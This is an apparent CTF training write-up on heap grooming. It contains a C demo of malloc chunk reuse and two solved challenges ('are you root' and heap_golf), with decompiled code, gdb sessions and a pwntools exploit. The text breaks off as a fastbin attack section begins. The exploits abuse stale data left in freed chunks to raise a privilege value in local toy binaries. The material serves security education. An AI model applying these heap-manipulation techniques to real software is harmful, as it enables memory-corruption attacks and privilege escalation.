#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    puts("So today we will be discussing heap grooming.");
    puts("The heap has a lot of behavior that is predictable.");
    puts("Heap grooming is when we manipulate the heap in certain ways, so it 
performs certain actions.");
    puts("That includes mapping additional pages to memory, and how it allocates 
certain chunks.\n");

    puts("For performance purposes, malloc will reuse recently freed chunks if 
they fit the size.");
    puts("Let's allocate some chunks!\n");

    unsigned long int *ptr0, *ptr1, *ptr2;

    ptr0 = malloc(0x10);
    ptr1 = malloc(0x10);
    ptr2 = malloc(0x10);

    printf("Our chunks are:\nptr0: %p\nptr1: %p\nptr2: %p\n\n", ptr0, ptr1, 
ptr2);

    printf("Now let's free them.\n\n");

    free(ptr0);
    free(ptr1);
    free(ptr2);

    printf("Now that they have been freed, we will allocate three chunks of the 
same size.\n");
    printf("Because of malloc's chunk reusage, we should get the same three 
chunks we freed back in the reverse order.\n");
    printf("So we should get ptr2 first, then ptr1, and then finally ptr0.\n
\n");

    printf("ptr0: %p\n", malloc(0x10));
    printf("ptr1: %p\n", malloc(0x10));
    printf("ptr2: %p\n\n", malloc(0x10));

    printf("You see by allocating and freeing heap chunks (just a little bit of 
heap grooming), we were able to accurately predict future chunks that will be 
allocated.\n");
    printf("This is just one small example of how we can use heap grooming to 
manipulate the heap to perform certain actions.\n");
}
```

When it runs:

```
$       ./explanation_heap_grooming
So today we will be discussing heap grooming.
The heap has a lot of behavior that is predictable.
Heap grooming is when we manipulate the heap in certain ways, so it performs
certain actions.
That includes mapping additional pages to memory, and how it allocates certain
chunks.

For performance purposes, malloc will reuse recently freed chunks if they fit
the size.
Let's allocate some chunks!

Our chunks are:
ptr0: 0x55bd0a0ac670
ptr1: 0x55bd0a0ac690
ptr2: 0x55bd0a0ac6b0

Now let's free them.

Now that they have been freed, we will allocate three chunks of the same size.
Because of malloc's chunk reusage, we should get the same three chunks we freed
back in the reverse order.
So we should get ptr2 first, then ptr1, and then finally ptr0.

ptr0: 0x55bd0a0ac6b0
ptr1: 0x55bd0a0ac690
ptr2: 0x55bd0a0ac670

You see by allocating and freeing heap chunks (just a little bit of heap
grooming), we were able to accurately predict future chunks that will be
allocated.
This is just one small example of how we can use heap grooming to manipulate the
heap to perform certain actions.
```

pico ctf are you root

Let's take a look at the binary:

```
$       file auth
auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=42ebad5f08a8e9d227f3783cc951f2737547e086, not stripped
$       pwn checksec auth
[*] '/Hackery/pod/modules/heap_grooming/pico_areyouroot/auth'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$       ./auth
Available commands:
    show - show your current user and authorization level
    login [name] - log in as [name]
    set-auth [level] - set your authorization level (must be below 5)
    get-flag - print the flag (requires authorization level 5)
    reset - log out and reset authorization level
    quit - exit the program

Enter your command:
>
```

So we can see that we are dealing with a `64` bit binary, with a Stack Canary and NX. When we run it, we are prompted with a console where we can input arguments.

Reversing

When we look at the main function in Ghidra, we see this:

```
undefined8 main(void)

{
  int cmdCheck;
  int iVar1;
  int setauthCheck;
  int getflagCheck;
  int resetCheck;
  int quitCheck;
  char *cmdBytesRead;
  char *__nptr;
  char *pcVar2;
  ulong uVar3;
  long in_FS_OFFSET;
  void **loggedIn;
  char cmd [6];
  char acStack530 [3];
  char acStack527 [511];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  menu();
  loggedIn = (void **)0x0;
  while( true ) {
    puts("\nEnter your command:");
    putchar(0x3e);
    putchar(0x20);
    cmdBytesRead = fgets(cmd,0x200,stdin);
    if (cmdBytesRead == (char *)0x0) break;
    cmdCheck = strncmp(cmd,"show",4);
    if (cmdCheck == 0) {
      if (loggedIn == (void **)0x0) {
        puts("Not logged in.");
      }
      else {
        printf("Logged in as %s [%u]\n",*loggedIn,(ulong)*(uint *)(loggedIn +
1));
      }
    }
    else {
      iVar1 = strncmp(cmd,"login",5);
      if (iVar1 == 0) {
        if (loggedIn == (void **)0x0) {
          __nptr = strtok(acStack530,"\n");
          if (__nptr == (char *)0x0) {
            puts("Invalid command");
          }
          else {
            loggedIn = (void **)malloc(0x10);
            if (loggedIn == (void **)0x0) {
```

```
            puts("malloc() returned NULL. Out of Memory\n");
                  /* WARNING: Subroutine does not return */
            exit(-1);
          }
          pcVar2 = strdup(__nptr);
          *loggedIn = (void *)(long)(int)pcVar2;
          printf("Logged in as \"%s\"\n",__nptr);
        }
      }
      else {
        puts("Already logged in. Reset first.");
      }
    }
    else {
      setauthCheck = strncmp(cmd,"set-auth",8);
      if (setauthCheck == 0) {
        if (loggedIn == (void **)0x0) {
          puts("Login first.");
        }
        else {
          __nptr = strtok(acStack527,"\n");
          if (__nptr == (char *)0x0) {
            puts("Invalid command");
          }
          else {
            uVar3 = strtoul(__nptr,(char **)0x0,10);
            if ((uint)uVar3 < 5) {
              *(uint *)(loggedIn + 1) = (uint)uVar3;
              printf("Set authorization level to \"%u\"\n",uVar3 &
0xffffffff);
            }
            else {
              puts("Can only set authorization level below 5");
            }
          }
        }
      }
      else {
        getflagCheck = strncmp(cmd,"get-flag",8);
        if (getflagCheck == 0) {
          if (loggedIn == (void **)0x0) {
            puts("Login first!");
          }
          else {
            if (*(int *)(loggedIn + 1) == 5) {
              give_flag();
            }
            else {
              puts("Must have authorization level 5.");
            }
          }
        }
        else {
```

```
            resetCheck = strncmp(cmd,"reset",5);
            if (resetCheck == 0) {
              if (loggedIn == (void **)0x0) {
                puts("Not logged in!");
              }
              else {
                free(*loggedIn);
                loggedIn = (void **)0x0;
                puts("Logged out!");
              }
            }
            else {
              quitCheck = strncmp(cmd,"quit",4);
              if (quitCheck == 0) break;
              puts("Invalid option");
              menu();
            }
          }
        }
      }
    }
  }
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

So we can see that it prompts us for input, and checks if it is equal to a command. If it is, then it will run the command. Let's walk through the commands.

For `login` we see this:

```
    iVar1 = strncmp(cmd,"login",5);
    if (iVar1 == 0) {
      if (loggedIn == (void **)0x0) {
        __nptr = strtok(acStack530,"\n");
        if (__nptr == (char *)0x0) {
          puts("Invalid command");
        }
        else {
          loggedIn = (void **)malloc(0x10);
          if (loggedIn == (void **)0x0) {
            puts("malloc() returned NULL. Out of Memory\n");
                    /* WARNING: Subroutine does not return */
            exit(-1);
          }
          pcVar2 = strdup(__nptr);
          *loggedIn = (void *)(long)(int)pcVar2;
          printf("Logged in as \"%s\"\n",__nptr);
        }
      }
      else {
        puts("Already logged in. Reset first.");
      }
    }
```

So we can see, it does a check if we are already logged in. If we aren't then it will log us in, which will create a struct in the heap, which contains the following things:

```
0x0:    ptr to username (stored in heap)
0x8:    int representing auth level
```

For `reset` we see this:

```
          if (resetCheck == 0) {
            if (loggedIn == (void **)0x0) {
              puts("Not logged in!");
            }
            else {
              free(*loggedIn);
              loggedIn = (void **)0x0;
              puts("Logged out!");
            }
          }
```

So for this, if we are logged in, it will log us out. What that does is it frees the pointer for our username, and zeroes it out. However it does not free the user struct itself. For `set-auth` we see this:

```
        if (setauthCheck == 0) {
          if (loggedIn == (void **)0x0) {
            puts("Login first.");
          }
          else {
            __nptr = strtok(acStack527,"\n");
            if (__nptr == (char *)0x0) {
              puts("Invalid command");
            }
            else {
              uVar3 = strtoul(__nptr,(char **)0x0,10);
              if ((uint)uVar3 < 5) {
                *(uint *)(loggedIn + 1) = (uint)uVar3;
                printf("Set authorization level to \"%u\"\n",uVar3 &
0xffffffff);
              }
              else {
                puts("Can only set authorization level below 5");
              }
            }
          }
        }
```

So essentially this allows us to set the auth level, however it has to be below `5`. Lastly when we look at get-flag, we see that it will print the contents of `flag.txt` if we have set our auth level to `5`. So we need to find some way to set our auth level to `5` without using `set-auth`.

Exploitation

So one thing about malloc (at least on older versions), it won't clear out memory that has been freed. To get a better look at it, let's login as a user to allocate space on the heap:

```
gef➤  r
Starting program: /home/guyinatuxedo/Downloads/auth
Available commands:
    show - show your current user and authorization level
    login [name] - log in as [name]
    set-auth [level] - set your authorization level (must be below 5)
    get-flag - print the flag (requires authorization level 5)
    reset - log out and reset authorization level
    quit - exit the program

Enter your command:
> login 0000000000000000
Logged in as "0000000000000000"

Enter your command:
> set-auth 4
Set authorization level to "4"

Enter your command:
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04260 in __read_nocancel () at ../sysdeps/unix/syscall-
template.S:84
84      ../sysdeps/unix/syscall-template.S: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────── registers ────
$rax   : 0xfffffffffffffe00
$rbx   : 0x00007ffff7dd18e0  →  0x00000000fbad2288
$rcx   : 0x00007ffff7b04260  →  <__read_nocancel+7> cmp rax, 0xfffffffffffff001
$rdx   : 0x400
$rsp   : 0x00007fffffffdba8  →  0x00007ffff7a875e8  →  <_IO_file_underflow+328>
cmp rax, 0x0
$rbp   : 0x00007ffff7dd2620  →  0x00000000fbad2887
$rsi   : 0x0000000000603010  →  "set-auth 4\n00000000000"
$rdi   : 0x0
$rip   : 0x00007ffff7b04260  →  <__read_nocancel+7> cmp rax, 0xfffffffffffff001
$r8    : 0x00007ffff7dd3780  →  0x0000000000000000
$r9    : 0x00007ffff7fdc700  →  0x00007ffff7fdc700  →  [loop detected]
$r10   : 0x00007ffff7fdc700  →  0x00007ffff7fdc700  →  [loop detected]
$r11   : 0x246
$r12   : 0xa
$r13   : 0x1ff
$r14   : 0x000000000060301b  →  "00000000000"
$r15   : 0x00007ffff7dd18e0  →  0x00000000fbad2288
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdba8│+0x0000: 0x00007ffff7a875e8  →  <_IO_file_underflow+328> cmp
rax, 0x0         ← $rsp
0x00007fffffffdbb0│+0x0008: 0x0000000000000004
0x00007fffffffdbb8│+0x0010: 0x00007ffff7dd18e0  →  0x00000000fbad2288
```

```
0x00007fffffffdbc0│+0x0018: 0x00007fffffffdc90  →  "set-auth 4"
0x00007fffffffdbc8│+0x0020: 0x00007ffff7a8860e  →  <_IO_default_uflow+14> cmp
eax, 0xffffffff
0x00007fffffffdbd0│+0x0028: 0x0000000000000000
0x00007fffffffdbd8│+0x0030: 0x00007ffff7a7bc6a  →  <_IO_getline_info+170> cmp
eax, 0xffffffff
0x00007fffffffdbe0│+0x0038: 0x00007ffff7dd26a3  →  0xdd37800000000020
──────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7b04254 <read+4>         sub    eax, 0x10750000
   0x7ffff7b04259 <__read_nocancel+0> mov    eax, 0x0
   0x7ffff7b0425e <__read_nocancel+5> syscall
 → 0x7ffff7b04260 <__read_nocancel+7> cmp    rax, 0xfffffffffffff001
   0x7ffff7b04266 <__read_nocancel+13> jae    0x7ffff7b04299 <read+73>
   0x7ffff7b04268 <__read_nocancel+15> ret
   0x7ffff7b04269 <read+25>        sub    rsp, 0x8
   0x7ffff7b0426d <read+29>        call   0x7ffff7b220d0
<__libc_enable_asynccancel>
   0x7ffff7b04272 <read+34>        mov    QWORD PTR [rsp], rax
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "auth", stopped, reason: SIGINT
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7b04260 → __read_nocancel()
[#1] 0x7ffff7a875e8 → _IO_new_file_underflow(fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>)
[#2] 0x7ffff7a8860e → __GI__IO_default_uflow(fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>)
[#3] 0x7ffff7a7bc6a → __GI__IO_getline_info(fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>,
buf=0x7fffffffdc90 "set-auth 4", n=0x1ff, delim=0xa, extract_delim=0x1, eof=0x0)
[#4] 0x7ffff7a7bd78 → __GI__IO_getline(fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>,
buf=0x7fffffffdc90 "set-auth 4", n=<optimized out>, delim=0xa,
extract_delim=0x1)
[#5] 0x7ffff7a7ab7d → _IO_fgets(buf=0x7fffffffdc90 "set-auth 4", n=<optimized
out>, fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>)
[#6] 0x400b2e → main()
─────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern 0000000000000000
[+] Searching '0000000000000000' in memory
[+] In '[heap]'(0x603000-0x624000), permission=rw-
  0x603440 - 0x603450  →   "0000000000000000"
[+] In '/lib/x86_64-linux-gnu/libc-2.23.so'(0x7ffff7a0d000-0x7ffff7bcd000),
permission=r-x
  0x7ffff7ba1410 - 0x7ffff7ba1420  →   "0000000000000000[...]"
gef➤  search-pattern 0x603440
[+] Searching '\x40\x34\x60' in memory
[+] In '[heap]'(0x603000-0x624000), permission=rw-
  0x603420 - 0x603423  →   "@4`"
gef➤  x/10g 0x603410
0x603410:       0x0             0x21
0x603420:       0x603440        0x4
0x603430:       0x0     0x21
0x603440:       0x3030303030303030      0x3030303030303030
0x603450:       0x0     0x20bb1
```

So we can see here, our user struct which is stored at `0x603420`, and the auth level (`4`).

Now we can see that the chunk for the user struct, and the chunk for the actual username are the same size `0x21`. Now for performance reasons, malloc will reuse previously freed chunks if they are a good fit for the size. Now we are going to reset our login which will only free the name (remember this):

```
else {
  free(*loggedIn);
  loggedIn = (void **)0x0;
  puts("Logged out!");
}
```

Proceeding that we will allocate a new user struct. Since the size of our user struct and the name chunk are the same, it should reuse our old struct:

```
gef➤  c
Continuing.
reset
Logged out!

Enter your command:
> login 15935728
Logged in as "15935728"

Enter your command:
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04260 in __read_nocancel () at ../sysdeps/unix/syscall-
template.S:84
84      in ../sysdeps/unix/syscall-template.S
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────
registers ────
$rax   : 0xfffffffffffffe00
$rbx   : 0x00007ffff7dd18e0  →  0x00000000fbad2288
$rcx   : 0x00007ffff7b04260  →  <__read_nocancel+7> cmp rax, 0xfffffffffffff001
$rdx   : 0x400
$rsp   : 0x00007fffffffdba8  →  0x00007ffff7a875e8  →  <_IO_file_underflow+328>
cmp rax, 0x0
$rbp   : 0x00007ffff7dd2620  →  0x00000000fbad2887
$rsi   : 0x0000000000603010  →  "login 15935728\n0000000"
$rdi   : 0x0
$rip   : 0x00007ffff7b04260  →  <__read_nocancel+7> cmp rax, 0xfffffffffffff001
$r8    : 0x00007ffff7dd3780  →  0x0000000000000000
$r9    : 0x00007ffff7fdc700  →  0x00007ffff7fdc700  →  [loop detected]
$r10   : 0x00007ffff7fdc700  →  0x00007ffff7fdc700  →  [loop detected]
$r11   : 0x246
$r12   : 0xa
$r13   : 0x1ff
$r14   : 0x000000000060301f  →  0x0a30303030303030 ("0000000"?)
$r15   : 0x00007ffff7dd18e0  →  0x00000000fbad2288
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────
stack ────
0x00007fffffffdba8│+0x0000: 0x00007ffff7a875e8  →  <_IO_file_underflow+328> cmp
rax, 0x0         ← $rsp
0x00007fffffffdbb0│+0x0008: 0x0000000000603460  →  "15935728"
0x00007fffffffdbb8│+0x0010: 0x00007ffff7dd18e0  →  0x00000000fbad2288
0x00007fffffffdbc0│+0x0018: 0x00007fffffffdc90  →  "login 15935728"
0x00007fffffffdbc8│+0x0020: 0x00007ffff7a8860e  →  <_IO_default_uflow+14> cmp
eax, 0xffffffff
0x00007fffffffdbd0│+0x0028: 0x0000000000000000
0x00007fffffffdbd8│+0x0030: 0x00007ffff7a7bc6a  →  <_IO_getline_info+170> cmp
eax, 0xffffffff
0x00007fffffffdbe0│+0x0038: 0x00007ffff7dd26a3  →  0xdd37800000000020
```

```
code:x86:64 ────
   0x7ffff7b04254 <read+4>         sub    eax, 0x10750000
   0x7ffff7b04259 <__read_nocancel+0> mov    eax, 0x0
   0x7ffff7b0425e <__read_nocancel+5> syscall
 → 0x7ffff7b04260 <__read_nocancel+7> cmp    rax, 0xfffffffffffff001
   0x7ffff7b04266 <__read_nocancel+13> jae    0x7ffff7b04299 <read+73>
   0x7ffff7b04268 <__read_nocancel+15> ret
   0x7ffff7b04269 <read+25>        sub    rsp, 0x8
   0x7ffff7b0426d <read+29>        call   0x7ffff7b220d0
<__libc_enable_asynccancel>
   0x7ffff7b04272 <read+34>        mov    QWORD PTR [rsp], rax
```

```
threads ────
[#0] Id 1, Name: "auth", stopped, reason: SIGINT
```

```
trace ────
[#0] 0x7ffff7b04260 → __read_nocancel()
[#1] 0x7ffff7a875e8 → _IO_new_file_underflow(fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>)
[#2] 0x7ffff7a8860e → __GI__IO_default_uflow(fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>)
[#3] 0x7ffff7a7bc6a → __GI__IO_getline_info(fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>,
buf=0x7fffffffdc90 "login 15935728", n=0x1ff, delim=0xa, extract_delim=0x1,
eof=0x0)
[#4] 0x7ffff7a7bd78 → __GI__IO_getline(fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>,
buf=0x7fffffffdc90 "login 15935728", n=<optimized out>, delim=0xa,
extract_delim=0x1)
[#5] 0x7ffff7a7ab7d → _IO_fgets(buf=0x7fffffffdc90 "login 15935728",
n=<optimized out>, fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>)
[#6] 0x400b2e → main()
```

```
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x603000-0x624000), permission=rw-
  0x603016 - 0x603027  →   "15935728\n0000000"
  0x603460 - 0x603468  →   "15935728"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffb5de - 0x7fffffffb5ef  →   "15935728"\nto "4""
  0x7fffffffdc96 - 0x7fffffffdc9e  →   "15935728"
gef➤  search-pattern 0x603460
[+] Searching '\x60\x34\x60' in memory
[+] In '[heap]'(0x603000-0x624000), permission=rw-
  0x603440 - 0x603443  →   "`4`"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffdbb0 - 0x7fffffffdbb3  →   "`4`"
gef➤  x/8g 0x603440
0x603440:       0x603460        0x3030303030303030
0x603450:       0x0     0x21
0x603460:       0x3832373533393531      0x0
0x603470:       0x0     0x20b91
```

As you can see, it did reuse the old name chunk, however it didn't clear out the old data. As a result, we were able to set the auth level to `0x3030303030303030`.

Now to set the auth level to `5`, we will essentially be doing the same thing. Except for setting our first username to `0000000000000000`, we will instead be setting it to `00000000\x05`. That way when we allocate the second user chunk, `0x5` will be the value of the auth level.

Exploit

Putting it all together, we have the following exploit. I noticed that on newer versions of libc, it would clear out freed data which would break this challenge. So I just included `libc-2.23.so` which I ran on Ubuntu 16.04:

```
$       cat exploit.py
from pwn import *

target = process('./auth', env={"LD_PRELOAD":"./libc-2.23.so"})
#gdb.attach(target)

username = "0"*8 + "\x05"

target.sendline("login " + username)

target.sendline("reset")

target.sendline("login guyintux")

target.sendline("get-flag")

target.interactive()
```

When we run it:

```
$       python exploit.py
[+] Starting local process './auth': pid 57963
[*] Switching to interactive mode
Available commands:
    show - show your current user and authorization level
    login [name] - log in as [name]
    set-auth [level] - set your authorization level (must be below 5)
    get-flag - print the flag (requires authorization level 5)
    reset - log out and reset authorization level
    quit - exit the program

Enter your command:
> Logged in as "00000000\x05"

Enter your command:
> Logged out!

Enter your command:
> Logged in as "guyintux"

Enter your command:
> flag{g0ttem_b0iz}


Enter your command:
```

Just like that, we captures the flag!

heap_golf

The goal of this challenge is to print the contents of `flag.txt`, not pop a shell.

Let's take a look at the binary:

```
$       file heap_golf1
heap_golf1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=ea4a50178915e1adee07a464e42cec0d6f9a9f62, not stripped
$ pwn checksec heap_golf1
[*] '/Hackery/pod/modules/heap_grooming/swamp19_heapgolf/heap_golf1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$       ./heap_golf1
target green provisioned.
enter -1 to exit simulation, -2 to free course.
Size of green to provision: 32
Size of green to provision: -2
target green provisioned.
Size of green to provision: -1
```

So we are dealing with a 64 bit binary that provides us with three different inputs.

Reversing

```
undefined8 main(void)

{
  long lVar1;
  int input;
  int *target;
  int *newPtr;
  long in_FS_OFFSET;
  int x;
  int i;
  int *ptr [50];
  char buf [8];
  long canary;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  target = (int *)malloc(0x20);
  write(0,"target green provisioned.\n",0x1a);
  x = 1;
  write(0,"enter -1 to exit simulation, -2 to free course.\n",0x30);
  do {
    write(0,"Size of green to provision: ",0x1c);
    read(1,buf,4);
    input = atoi(buf);
    if (input == -1) {
LAB_004008c3:
      if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }
    if (input == -2) {
      i = 0;
      while (i < x) {
        free(ptr[(long)i]);
        i = i + 1;
      }
      ptr[0] = (int *)malloc(0x20);
      write(0,"target green provisioned.\n",0x1a);
      x = 1;
    }
    else {
      newPtr = (int *)malloc((long)input);
      *newPtr = x;
      ptr[(long)x] = newPtr;
      x = x + 1;
      if (x == 0x30) {
        write(0,"You\'re too far under par.",0x19);
        goto LAB_004008c3;
      }
    }
```

```
    if (*target == 4) {
      win_func();
    }
  } while( true );
}
```

So we can see what's going on. This is a heap grooming challenge. It stores and array of heap pointers in `ptr`. The first entry in the heap pointers array is `target`, which we have to set equal to `0x4` without any direct way of doing so. If we input anything other than a `-1` or `-2`, then it takes the integer value we passed it and mallocs it. It will then dereference it and set it equal to the heap pointer counter `x`. After that it will append it to the end of the heap pointers. If we input a `-1` the binary ends. If we input a `-2` it will go through and free all of the pointers, and malloc a new first pointer and reset the pointer counter `x` to 1.

Malloc will reuse previously freed chunks if they are the right size for performance reasons. What we can do is allocate `4` `0x20` block chunks (not including the one initially allocated), and then free them. Then when we allocate `0x20` byte chunks, we will get those same chunks back in the inverse order they were freed (so the last chunk we made will be the first allocated). Then the fourth chunk we allocate will be the first chunk allocated and have the same address as `target`, and also have the pointer counter `x` written to it:

Pointers being freed in gdb (in this case it's `0x602260`):

```
code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        #
0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        #
0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
───────────────────────────────────────────────────────
arguments (guessed) ────
free@plt (
   $rdi = 0x0000000000602260 → 0x0000000000000000,
   $rsi = 0x00000000fffffda,
   $rdx = 0x8000000000000000
)
```

```
code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        #
0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        #
0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
```

```
arguments (guessed) ────
free@plt (
   $rdi = 0x0000000000602290 → 0x0000000000000001,
   $rsi = 0x0000000000602018 → 0x0000000000000000,
   $rdx = 0x0000000000602010 → 0x0000000000000100
)
```

```
threads ────
```

```
code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        #
0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        #
0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
```

```
arguments (guessed) ────
free@plt (
   $rdi = 0x00000000006022c0 → 0x0000000000000002,
   $rsi = 0x0000000000602018 → 0x0000000000000000,
   $rdx = 0x0000000000602010 → 0x0000000000000200
)
```

```
code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        #
0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        #
0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
```

```
arguments (guessed) ────
free@plt (
   $rdi = 0x00000000006022f0 → 0x0000000000000003,
   $rsi = 0x0000000000602018 → 0x0000000000000000,
   $rdx = 0x0000000000602010 → 0x0000000000000300
)
```

```
code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        #
0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        #
0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
```

```
arguments (guessed) ────
free@plt (
   $rdi = 0x0000000000602320 → 0x0000000000000004,
   $rsi = 0x0000000000602018 → 0x0000000000000000,
   $rdx = 0x0000000000602010 → 0x0000000000000400
)
```

When they are reallocated:

```
code:x86:64 ────
     0x40084e <main+327>       mov    QWORD PTR [rbp-0x1a8], rax
     0x400855 <main+334>       mov    rax, QWORD PTR [rbp-0x1a8]
     0x40085c <main+341>       mov    edx, DWORD PTR [rbp-0x1bc]
 →   0x400862 <main+347>       mov    DWORD PTR [rax], edx
     0x400864 <main+349>       mov    eax, DWORD PTR [rbp-0x1bc]
     0x40086a <main+355>       cdqe
     0x40086c <main+357>       mov    rdx, QWORD PTR [rbp-0x1a8]
     0x400873 <main+364>       mov    QWORD PTR [rbp+rax*8-0x1a0], rdx
     0x40087b <main+372>       add    DWORD PTR [rbp-0x1bc], 0x1
```

```
threads ────
[#0] Id 1, Name: "heap_golf1", stopped, reason: BREAKPOINT
```

```
trace ────
[#0] 0x400862 → main()
```

```
Breakpoint 2, 0x0000000000400862 in main ()
gef➤  p $edx
$1 = 0x1
gef➤  p $rax


Breakpoint 2, 0x0000000000400862 in main ()
gef➤  p $edx
$3 = 0x2
gef➤  p $rax
$4 = 0x6022c0


Breakpoint 2, 0x0000000000400862 in main ()
gef➤  p $edx
$5 = 0x3
gef➤  p $rax
$6 = 0x602290


Breakpoint 2, 0x0000000000400862 in main ()
gef➤  p $edx
$7 = 0x4
gef➤  p $rax
$8 = 0x602260
```

With that last iteration, we finally write the value `0x4` to the address of target `0x602260`. With that we can capture the flag.

```
$ /heap_golf1
target green provisioned.
enter -1 to exit simulation, -2 to free course.
Size of green to provision: 32
Size of green to provision: 32
Size of green to provision: 32
Size of green to provision: 32
Size of green to provision: -2
target green provisioned.
Size of green to provision: 32
Size of green to provision: 32
Size of green to provision: 32
Size of green to provision: 32
flag{g0ttem_b0is}
```

fastbin attack explanation

This isn't a ctf challenge. Essentially it's really well documented C code that carries out a fastbin attack, and explains how it works. The source code and the binary can be found in here. Try looking at the source code and running the binary to see how the attack works:

The code:

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
    puts("Today we will be discussing a fastbin attack.");
    puts("There are 10 fastbins, which act as linked lists (they're separated by
size).");
    puts("When a chunk is freed within a certain size range, it is added to one
of the fastbin linked lists.");
    puts("Then when a chunk is allocated of a similar size, it grabs chunks from
the corresponding fastbin (if there are chunks in it).");
    puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on
some settings)");
    puts("\nThis attack will essentially attack the fastbin by using a bug to
edit the linked list to point to a fake chunk we want to allocate.");
